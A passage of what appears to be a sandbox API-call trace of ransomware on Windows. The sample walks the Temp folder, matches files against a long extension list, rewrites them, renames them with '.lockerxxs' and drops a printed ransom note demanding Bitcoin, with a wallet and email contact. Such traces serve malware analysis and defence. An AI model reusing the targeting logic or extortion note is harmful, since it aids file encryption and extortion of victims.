(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.mp4") returned 0 [0086.497] lstrlenA (lpString="*.mp4") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.ppt") returned 0 [0086.498] lstrlenA (lpString="*.ppt") returned 5 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.pptx") returned 0 [0086.498] lstrlenA (lpString="*.pptx") returned 6 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.doc") returned 0 [0086.498] lstrlenA (lpString="*.doc") returned 5 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.dot") returned 0 [0086.498] lstrlenA (lpString="*.dot") returned 5 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.docx") returned 0 [0086.498] lstrlenA (lpString="*.docx") returned 6 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.7z") returned 0 [0086.498] lstrlenA (lpString="*.7z") returned 4 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.tar") returned 0 [0086.498] lstrlenA (lpString="*.tar") returned 5 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.bz2") returned 0 [0086.498] lstrlenA (lpString="*.bz2") returned 5 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.gz") returned 0 [0086.498] lstrlenA (lpString="*.gz") returned 4 [0086.498] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.mkv") returned 1 [0086.498] lstrlenA (lpString="*.mkv") returned 5 [0086.498] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" [0086.498] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" [0086.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv." [0086.498] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv.lockerxxs" [0086.498] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cnqyu3xok0xcgqfo03.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.499] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5b18 [0086.499] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x579b80, dwHighDateTime=0x1d5df8a), lpLastAccessTime=0x407536*(dwLowDateTime=0x3c2a3ce0, dwHighDateTime=0x1d5d980), lpLastWriteTime=0x40753e*(dwLowDateTime=0x3c2a3ce0, dwHighDateTime=0x1d5d980)) returned 1 [0086.499] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.499] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5af2, lpOverlapped=0x0) returned 1 [0086.501] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv") returned="CnQyu3Xok0XCGqFO03.mkv" [0086.501] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.501] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5af2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5af2, lpOverlapped=0x0) returned 1 [0086.502] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.502] CloseHandle (hObject=0x90) returned 1 [0086.502] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cnqyu3xok0xcgqfo03.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cnqyu3xok0xcgqfo03.mkv.lockerxxs")) returned 1 [0086.503] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd90001d8, dwReserved1=0x4e00c4, cFileName="Cookies", cAlternateFileName="")) returned 1 [0086.503] lstrcmpA (lpString1=".", lpString2="Cookies") returned -1 [0086.503] lstrcmpA (lpString1="..", lpString2="Cookies") returned -1 [0086.504] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv") returned="CnQyu3Xok0XCGqFO03.mkv" [0086.504] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="Cookies" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies" [0086.504] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies") returned 56 [0086.504] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.505] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.505] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0086.505] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.505] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.505] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0086.505] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0086.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0086.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0086.505] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0086.505] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*.*") returned="*.*" [0086.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\" [0086.506] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\") returned="" [0086.506] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\HOW TO DECRYPT FILES.txt" [0086.506] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\how to decrypt files.txt")) returned 0xffffffff [0086.506] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0086.507] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.507] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.508] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.508] CloseHandle (hObject=0x94) returned 1 [0086.508] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\", lpString2="index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" [0086.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.ems") returned 0 [0086.508] lstrlenA (lpString="*.ems") returned 5 [0086.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.db") returned 0 [0086.508] lstrlenA (lpString="*.db") returned 4 [0086.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.dbf") returned 0 [0086.508] lstrlenA (lpString="*.dbf") returned 5 [0086.508] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.myox") returned 0 [0086.508] lstrlenA (lpString="*.myox") returned 6 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.myo") returned 0 [0086.509] lstrlenA (lpString="*.myo") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qbw") returned 0 [0086.509] lstrlenA (lpString="*.qbw") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qbb") returned 0 [0086.509] lstrlenA (lpString="*.qbb") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qbm") returned 0 [0086.509] lstrlenA (lpString="*.qbm") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qbo") returned 0 [0086.509] lstrlenA (lpString="*.qbo") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qbx") returned 0 [0086.509] lstrlenA (lpString="*.qbx") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qba") returned 0 [0086.509] lstrlenA (lpString="*.qba") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qby") returned 0 [0086.509] lstrlenA (lpString="*.qby") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qbj") returned 0 [0086.509] lstrlenA (lpString="*.qbj") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.ofx") returned 0 [0086.509] lstrlenA (lpString="*.ofx") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.qif") returned 0 [0086.509] lstrlenA (lpString="*.qif") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.mye") returned 0 [0086.509] lstrlenA (lpString="*.mye") returned 5 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.mbox") returned 0 [0086.509] lstrlenA (lpString="*.mbox") returned 6 [0086.509] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.eml") returned 0 [0086.510] lstrlenA (lpString="*.eml") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.pst") returned 0 [0086.510] lstrlenA (lpString="*.pst") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.ost") returned 0 [0086.510] lstrlenA (lpString="*.ost") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.idx") returned 0 [0086.510] lstrlenA (lpString="*.idx") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.dbx") returned 0 [0086.510] lstrlenA (lpString="*.dbx") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.sql") returned 0 [0086.510] lstrlenA (lpString="*.sql") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.mdb") returned 0 [0086.510] lstrlenA (lpString="*.mdb") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.fdb") returned 0 [0086.510] lstrlenA (lpString="*.fdb") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.wab") returned 0 [0086.510] lstrlenA (lpString="*.wab") returned 5 [0086.510] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", pszSpec="*.dat") returned 1 [0086.510] lstrlenA (lpString="*.dat") returned 5 [0086.510] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" [0086.510] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" [0086.510] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat." [0086.510] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.lockerxxs" [0086.510] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0086.511] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4000 [0086.511] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd97d7f40, dwHighDateTime=0x1d2dda0), lpLastAccessTime=0x407536*(dwLowDateTime=0xd97d7f40, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0xed0fc650, dwHighDateTime=0x1d35d05)) returned 1 [0086.512] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.512] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3fda, lpOverlapped=0x0) returned 1 [0086.514] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat") returned="index.dat" [0086.514] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.514] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3fda, lpOverlapped=0x0) returned 1 [0086.514] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.514] CloseHandle (hObject=0x94) returned 1 [0086.515] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat.lockerxxs")) returned 1 [0086.516] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0086.516] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0086.516] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4ffa30, ftCreationTime.dwHighDateTime=0x1d5e6fc, ftLastAccessTime.dwLowDateTime=0xfc570710, ftLastAccessTime.dwHighDateTime=0x1d5e5b9, ftLastWriteTime.dwLowDateTime=0xfc570710, ftLastWriteTime.dwHighDateTime=0x1d5e5b9, nFileSizeHigh=0x0, nFileSizeLow=0x15107, dwReserved0=0x5014f8, dwReserved1=0x52d540, cFileName="e4kpVe.mp4", cAlternateFileName="")) returned 1 [0086.516] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.516] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="e4kpVe.mp4") returned 1 [0086.516] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="e4kpVe.mp4") returned 1 [0086.516] lstrcmpiA (lpString1="", lpString2="e4kpVe.mp4") returned -1 [0086.516] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*.*") returned="*.*" [0086.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.516] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.516] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.516] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.516] lstrcatA (in: 